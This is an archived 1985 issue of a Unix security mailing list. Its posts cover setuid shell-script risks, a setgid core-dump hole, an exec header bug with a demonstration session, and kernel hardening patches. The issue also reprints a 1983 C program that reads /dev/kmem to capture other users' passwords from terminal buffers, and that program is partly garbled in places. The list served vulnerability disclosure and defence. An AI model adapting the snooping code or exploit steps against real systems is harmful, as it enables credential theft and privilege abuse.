The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Unix 'Security Mailing List' - Archives (1984 - 1987)
DOCUMENT: Unix 'Security Mailing List' #6 not known (1 file, 9540 bytes)
NOTICE: recognises the rights of all third-party works.


Date: 22 Feb 85 01:20:24 CST (Fri)
From: ihnp4!utzoo!henry
Subject: setuid shell files

> This, of course, comes about because both "sh" and "csh" look at the name by
> which they're invoked, assuming that they're a "login shell" -- and taking
> input from the terminal -- if the name begins with a "-".

> Keith, Arthur, and I agree that this is a problem, but it is a logical
> consequence of the documented behavior of execve(2), the shells, and the
> setuid/setgid modes, so it's probably not really correct to call it a "bug".  

> Also note that there is another "problem" with set[ug]id csh scripts:  if
> they start with "#! /bin/csh" they read the user's .cshrc with the script
> owner's permissions.

> 1)  How many of you knew about this before reading this...

> 2)  Do you consider this to really be a problem?  ...

I'd certainly heard of it, and so had a lot of others.  These problems,
among others, are why you sometimes hear the declaration "setuid shell
scripts are incurably insecure".  It's true.  The basic problem is that
the shell is a fairly complex interpreter, and too many of its actions
are dependent on user-alterable context in one way or another.  Trying
to build a "restricted shell" out of a full shell has the same problem:
the shell is just too complex for anyone to be *certain* that there are
no leaks in what he's done.  Setuid shell programs are a seductive trap,
but cannot be made safe.  The only fix is to avoid them.

> 3)  Should an explanation of the problem go to the net?  I can see arguments
>     against it:  not all system administrators get/read news; there is no
>     binary fix; there's no way of ensuring new sites get the information...

Asking whether the specific problem should be posted is just re-opening
the "should you discuss security problems openly?" debate.  I'll pass on
that.  The thing to tell sys admins, as loudly and as often as you can,
is that setuid shell files are inherently insecure and must be avoided.
This has already been said (by me among others) on the net.

				Henry Spencer @ U of Toronto Zoology

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Date: 23 Feb 85 16:32:33 CST (Sat)
From: ihnp4!utzoo!henry
Subject: setgid security hole

> So is someone going to explain why setgid is unsafe on 4.1 or
> earlier systems?

A program which is setgid, not setuid, and can be persuaded to dump
core, will produce a core dump owned by you but with the gid of the
program.  Since you own it, you can (a) write on it, and (b) change
the permissions to turn on the setgid bit.  Presto, your own setgid

One fix is to never make something setgid unless it's also setuid.

Another fix, which we implemented a little while ago, is to change the
core-dump routine in the kernel so it does the equivalent of
"setuid(getuid()); setgid(getgid())" before dumping.  This eliminates
all setuid/setgid-core-dump worries, since the special permissions vanish
before the core dump occurs.  It's less than ideal, but much simpler than
trying to sort out the "right" thing to do in all cases.

4.2 may well take a third approach; I haven't looked.

				Henry Spencer @ U of Toronto Zoology

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Date: Mon, 25 Feb 85 09:08:46 -0100
From: hao!seismo!mcvax!enea!chalmers!bernerus (Christer Bernerus)
Subject: Security  and scripts.

A short summary on the security problems with script files from
my colleague Per Bergsten:



Any script is a potential trojan horse.

There has been some discussion on "setuid" shell-scripts lately. I would
like to point out that the problem is more serious that most people seem
to understand. The usual view is that shell-scripts must be composed so
that the pitfalls inherent in the PATH mechanism are avoided. In principle
you must guarantee that the script executes PRECISELY the intended programs.

In the general case:
	Any program which performs the systemcall "exec",
	where the argument supplied to "exec" is controlled
	by a script, is a potential trojan horse.

This includes programs like "sendmail", "vi", "make" and "nroff". The problem
is of course that it is not sufficient to verify that you are executing the
original version of the program, but also that the input supplied to that
program has not been compromised. If only one of the scripts is writable by
unauthorized persons, they can easily modify the script to create a
"setuid" program as a side-effect (Are users allowed to create or update
manual-pages on YOUR system ?) the rest is easy.

	Disregarding bugs in the kernel and file protection mechanisms,
	to ensure a safe system we need some way to keep tabs on ALL
	the scripts that "root" may eventually execute through an
	interpreter of some kind.



		Per Bergsten


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Date: Mon, 25 Feb 85 09:16:49 -0100
From: hao!seismo!mcvax!enea!chalmers!bernerus (Christer Bernerus)
Subject: Potential bug in exec.

More security bugs from Per Bergsten:
Potential security bug in exec. BSD 4.2


	The implementation of the "exec" system call is naive in that it
	takes the contents of the header in the exec'd file to be true.
	Specifically: the text and data sizes given in the header are not
	checked against the filesize.

	This is a potential security problem because the tables used in
	the virtual memory are set up to reflect the sizes of the program.

	The security breach occurs when a program with unresonable 
	data-size causes a coredump.

	The following annotated script shows how the problem appears.

		Script started on Fri Feb 15 17:17:35 1985

Compile a program using the "truncate" system call.
		% cat trunc.c
		**	Truncate a.out
			if (truncate("a.out", 32) < 0)
				printf("Truncated a.out\n");
		% cc -o trunc trunc.c

Compile a program with a large data-space.
		% cat a.c
		**	A program with huge data-space.
		char	hello[]	= "Hello world\n";
		int	a[10000];
			write(1, hello, sizeof(hello));
		% cc a.c
		% ls -l a.out
		-rwxr-xr-x  1 bergsten     5120 Feb 15 17:18 a.out

Run program.
		% a.out
		Hello world

Chop off tail.
		% trunc
		Truncated a.out
		% ls -l a.out
		-rwxr-xr-x  1 bergsten       32 Feb 15 17:18 a.out

Note that execution is still possible!
		% a.out
		Hello world

Copy and run again.
		% cp a.out b.out
		% b.out
		Illegal instruction (core dumped)

Core is much too big.
It contains stuff from the virtual-memory.
		% ls -l core
		-rw-r--r--  1 bergsten    64512 Feb 15 17:18 core
		% strings core

First some junk.
		/ @5 @5 
		@H ,
		@H ,

This seems to be somebodys Fortran.

Then follows my environment.
		script done on Fri Feb 15 17:19:03 1985

	In /usr/sys/sys/kern_exec.c there should be a check for the
	text- and data-sizes in the header, i suggest adding it in the
	switch-statement where the magic numbers are checked.


	Per Bergsten

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Date: Mon, 25 Feb 85 10:02:56 pst
From: hao!hplabs!hpda!hpdsa!davel (Dave Lennert)
Subject: readable kmem security 

In response to:

Date: Wed, 6 Feb 85 15:39:48 pst
From: ihnp4!uw-beaver!entropy!dataio!bossert (John Bossert)
Subject: Lets talk about kmem

Would someone describe the security hole that exists when /dev/kmem
is readable by the world?  What is the fix?  What programs need to
be chmod'ed to continue to work?

	John Bossert, Data I/O Corporation, Redmond WA

Here is a posting that demonstrates one of the problems.

	Dave Lennert              ...{ucbvax, hplabs}!hpda!davel  [UUCP]
        Hewlett-Packard - ISO     [email protected]         [ARPA]
        11000 Wolfe Road          (408) 257-7000                  [AT&T]
        Cupertino, CA  95014      157-2923                        [HP-TELNET]

>From [email protected] (Perry Kivolowitz) Wed Dec 31 16:00:00 1969
Newsgroups: net.unix-wizards,net.sources
Subject: A Program To Allow ANYONE To Crack Unix (4.1 and 2)
Message-ID: <[email protected]>
Date: Thu, 17-Nov-83 20:14:06 PST

Greeting Programs!

A while back (has it been two years? Jeez I better find a bathroom) some
students at BERKELEY got into  the  news  with  a SO-CALLED crack of the 
unix (tm) operating system. That was no crack! What'd they do? Kid stuff
playing with terminals which have a ``transmit-line'' facility. 

Below  is  a  real  crack. I am not claiming  it  is  a  new  idea  and,
actually, I  send  the  following  only at the prodding of some friends.
In fact, I seem to  remember  someone   sent  something like this before 
(about  a year ago) which  produced  a horrendous torrent of mail to the
net about the merits of having a readable /dev/kmem.

Anyway, the  following  program  accepts  as arguments a major and minor
device number  specifying  a  terminal. Kernel  memory  is  then probed, 
pinched,  and bullied into divulging the raw clists of that terminal  as
the clist is constructed.

The bottom line: ANY USER CAN STEAL ANYONE'S PASSWORD by simply  listen-
ing to the terminal as another user logs in.

Some implementation issues are discussed in the  program  -  for example
race conditions between the snooping process and any process running  on
the targeted terminal.

Note:  The   Rick  and  Lory  mentioned  below  are   my   good  friends 
Rick Spanbauer and  Lory  Molesky  who  are (repsectively) our  engineer
(choo choo) and system administrator. They are mentioned in the code  as
a joke since they always go through my files to see what I am up to.

ASIDE: I would like to make clear a sort of ``You kids at home should'nt
do this...'' message. System administrators (and BERKELEY) should modify
the getpass system subroutine to  operate  in  RAW mode.  This will plug
the hole that this program creates. 

I send this program for two reasons:

	(1)	The  present kernel access methodology is a crock.  This
		submission is a ``protest'' is this respect.

	(2)	I hate the way the media makes a big deal about children
		playing  with  computers. ``Hackers'' they're called. My
		ass. I'd love to be  interviewed  by the 6pm news  about
		computer  crime  - they  would  get the real poop on the 

Also,  I   am   protesting (in  a  mild way) the  way  I  am treated  at 
Stony Brook. I, because of my knowledge of the  Unix kernel  etc etc,  I
am consistently  blamed  any  time  so  much  as  a phone line garbles a
character. (Get out your  violin  please) Really. After  getting Unix to 
work  on  eight  vaxes  and  an  odd  number  of  workstations  all with 
nonstandard  hardware (for no pay) what do I get? All my bennies revoked
thats what! (Enter John Belushi) Am I gonna take it any more? NOOOOOOOO.
Any site out there who appreciates a competent Unix kernel hacker should
feel free to drop me a line. I'd  like  to  finish my PhD (or get a real
salary)  some  place  where  my  talents  will  be  rewarded.  (paranoid 
schizophrenic flame doused -:)

	This is a protest. NO PERSON WHO HOPES TO  EARN THE (true) TITLE 
(what crap - I really don't  want  to  send  this  anymore  due  to  its 
volatile nature but I spent all this time typing - oh  well -  into  the 
breach, dear friends....)

P.S. Everyone who has seen anything previously submitted by me should
now  by  now  that  I do so in a good natured, sarcastic way (ie I am 
beginning to think about all the flames I will surely be receiving).

			Perry S. Kivolowitz
			[email protected]@CSNet-Relay

#include <stdio.h>
#include <sys/param.h>
#include <sys/clist.h>
#include <sys/tty.h>
#include <nlist.h>
#include <ctype.h>

***	Comments have been added to assist Lory and Rick when they
***	come screaming through my files. Hi Fellas!

#define	NDZ	1		/* should be gotten from /sys/dev/dz.h	*/
#define	NDH	3		/* should be gotten from /sys/dev/dh.h	*/
#define	DZ11	1		/* major device number of the dz11	*/
#define	DH11	12		/* major device number of the dh11	*/
#define	DZ_X	8		/* eight lines per dz11			*/
#define	DH_X	16		/* sixteen lines per dh11		*/

#undef	major()			/* need to do this because of kernel	*/
#undef	minor()			/* macros used to strip off device #'s  */

static struct nlist nl[2];

static char *name_list[] = {
	"_dz_tty" ,		/* base address of the dz tty structures*/
	"_dh11" ,		/* same for the dh's			*/

main(argc , argv)
char **argv;
int  argc;
	int major;			/* place to hold major #	*/
	int minor;			/* place to hold minor #	*/
	int board_type;			/* tells me which kind of tty   */
	int fd;				/* fd for memory		*/
	long offset;			/* how far into the above tables*/
	struct tty ttyb;		/* place to put the tty buffer	*/
	extern char *calloc();		/* our friend calloc		*/
	char *p;			/* destroy the argv's so noone  */
					/* can see what we are doing	*/

	get_args(&major , &minor , argc , argv);
	check_args(major , minor , &board_type , argv);
	get_name_list(board_type , argv);
	open_memory(&fd , argv);
	for (p = argv[1]; *p != '\0'; p++) *p = '\0';
	for (p = argv[2]; *p != '\0'; p++) *p = '\0';
	offset = minor * sizeof(struct tty);
	while (1) {
		read_tty(fd , nl[0].n_value , offset , &ttyb);
		get_clist(fd , &ttyb.t_nu.t_t.T_rawq);

***	Much monkeying around was done before I settled on this
***	procedure. I attempted to follow the c_next pointers in
***	the individual cblocks. This is friutless since by  the
***	time we do the second seek and read the information has
***	been whisked away.
***	So - The LIMITATIONS of this routine are:
***		cannot read from any tty in RAW mode
***		can only snarf first 28 characters (ie
***			the first cblock)
***	Nice things about this routine:
***		only NEW  characters  are  echoed to the output
***		(eg characters  in the cblock which  have  been
***		seen before are swallowed).

get_clist(fd , cl)
register struct clist *cl;
	static char c[CBSIZE];
	static char *old_start = 0 , *old_finish = 0;
	static int  old_i = 0;
	char *pntr;
	int tn , in;

	if ((cl->c_cc > 0) &&
	    ((old_start != cl->c_cf) || (old_finish != cl->c_cl))) {
		pntr = c;
		lseek(fd , (long) cl->c_cf , 0);
		read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc));
		if (old_start == cl->c_cf) {
			in -= old_i;
			pntr += old_i;
		if (in > 0) while (in--) putchar(*(pntr++));
		else if (in < 0) while (in++) putchar('\010');
		old_i = tn;
		old_start = cl->c_cf;
		old_finish = cl->c_cl;
	if (cl->c_cc <= 0) {
		if (old_i != 0) putchar('\n');
		old_i = old_start = old_finish = NULL;

***	The rest of the routines are very strait forward and
***	Rick and Lory won't need comments.

read_tty(fd , base , offset , buffer)
long base , offset;
register struct tty *buffer;
	register int i;

	lseek(fd , base + offset , 0);
	i = read(fd , buffer , sizeof(struct tty));
	if (i != sizeof(struct tty)) {
		printf("unexpected return from read\n");
		printf("should have been %d\n" , sizeof(struct tty));
		printf("was %d\n" , i);

open_memory(fd , argv)
int *fd;
char **argv;
	if ((*fd = open("/dev/kmem" , 0)) < 0) {

char **argv;
	nl[0].n_name = name_list[index];
	nlist("/vmunix" , nl);
	if (! nl[0].n_type) {
		printf("%s: couldn't get name list\n" , argv[0]);
	printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value);

get_args(major , minor , argc , argv)
int *major , *minor , argc;
char **argv;
	if (argc != 3) {
		fprintf(stderr,"%s: arg count\n" , argv[0]);
	*major = atoi(argv[1]);
	*minor = atoi(argv[2]);
	printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor);

check_args(major , minor , board , argv)
char **argv;
int *board;
	if (minor < 0) {
bad_minor:	printf("%s: bad minor device number\n" , argv[0]);
	switch (major) {

	case DZ11:
			if (minor >= NDZ * DZ_X) goto bad_minor;
			printf("DZ11 - Unit %d\n" , minor / DZ_X);
			*board = 0;

	case DH11:
			if (minor >= NDH * DH_X) goto bad_minor;
			printf("DH11 - Unit %d\n" , minor / DH_X);
			*board = 1;

			printf("%s: bad major device number\n" , argv[0]);

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Date: Tue, 26 Feb 85 11:36:22 pst
From: [email protected] (00005000)
Subject: Summary of 4.2BSD kernel changes for improved security

in use at ucsc

in sys/init_sysent.c:
/* added system calls:
	chfile - insure that user's tty drops DTR lead when user logs out
		(requires change to /etc/init)
kern_exec.c: (getxfile())
	 * Restrict setuid-root to files on the root device.
	 * Some bother for system administration, but it
	 * greatly cuts down the territory to be searched for
	 * spurious setuid-root programs.
kern_prot.c: (setpgrp())
	This is now being tested.  It is to prevent a user being able to kill
		another user's background job.
	/* insure that the pgrp is not in use by somebody else */
kern_sig.c: (core())
	/* keep the core file private */
kern_xxx.c: added chfile() code
sys_inode.c: (rwip())
	/* turn off SUID & SGID bits when file is written, even for super
	 * user, to strengthen security.
sys_process.c (procxmt())
#ifdef	UCSC	/* security patch from denelcor */
	/* prevents user from running a setuid-root program under a debugger
	 * and then modifying the code in the core image and resuming execution
	 * of the modified code with original privileges.
ufs_fio.c: (access())
	/* make group with gid zero have no privileges.  This is the default
	 * login group for super users, and for files that we don't know in
	 * what group they really belong.
	 * Security patch to require special file inodes
	 * to be on rootdev only.
#ifdef	UCSC	/* for security, no linking to files user can't read */
#ifdef	UCSC	/* no symbolic links to things user can't read either */
	 * Enforce special restrictions on sticky bit and setuid bit
	/* warn the super user if he has inadvertently given somebody a
	 * privileged file
	/* include the super user in the protection afforded
	 * by turning off SUID/SGID bits */
ufs_fio.c: (own())
#ifdef	GRPMAST
	/* allow group manager access to non root-owned files */
	/* this is convenient for instructional class accounts.  The user
	 * for whom uid == gid in the password file is the owner of the
	 * class, and has all privileges over all files with that class
	 * as group owner.

actual patches available on request to ucbvax!ucscc!haynes

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Date: Tue, 26 Feb 85 11:46:10 pst
From: [email protected] (00005000)
Subject: Restrictions on setting setuid bit

On one of our systems we had a lot of trouble with users getting
setuid shells owned by other unsuspecting users and using them to
impersonate the victims.  The usual modus operandi is to offer a
new game program to the public.  The game has a hidden side effect
of creating a setuid shell owned by the victim, located in a
directory owned by the game owner.  So we patched the kernel to
make setting the setuid bit a privileged function.  If someone
needs a setuid file he has to ask the super user to set the bit
for him.  This is a case of taking away a useful feature because
of a few misusers; but in practice it is easier to set setuid bits
on request for people than it is to hunt down spurious hidden
setuid programs when the victim complains.


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Date: Mon, 25 Feb 85 10:19:19 pst
From: Matt Bishop <ihnp4!riacs!mab>
Subject: keeping track of UNIX holes

Howdy, folks,
   I'm starting a project to keep track of UNIX security holes and their
fixes.  Basically, this consists of writing a short monograph (they are
too short to be called "papers") on each security hole I find out about,
including an example of using it to break security, and including any fixes
that I can figure out (or get from others.)  I'm also trying to put in
something about who found each bug, or who reported it; I know these things
are usually found by multitudes of people acting independently, but I always
have been curious about where these things came from, so ...  In essence, I'm
trying to start up a reference file of security holes and fixes.
   I'd like to ask your help in getting this project moving.  If you know
of any interesting security holes, would you pass them along?  (Fixes too
would be appreciated.)  I have access to a 4.2 BSD system, so I can check out
holes in that version of UNIX.  I'm quite interested in holes in System V, too,
but I don't have access to a pure System V version of UNIX (just a System
V with Berkeley enhancements), so I'm not sure if I can actually test them.
On the other hand, they might suggest holes in 4.2 BSD, so send ANY UNIX
security holes you know of, too.
   Thanks to one and all for any help you can give ...

    Matt Bishop

[email protected]			arpanet
...!decvax!decwrl!riacs!mab	one uucp path
...!ihnp4!ames!riacs!mab	another uucp path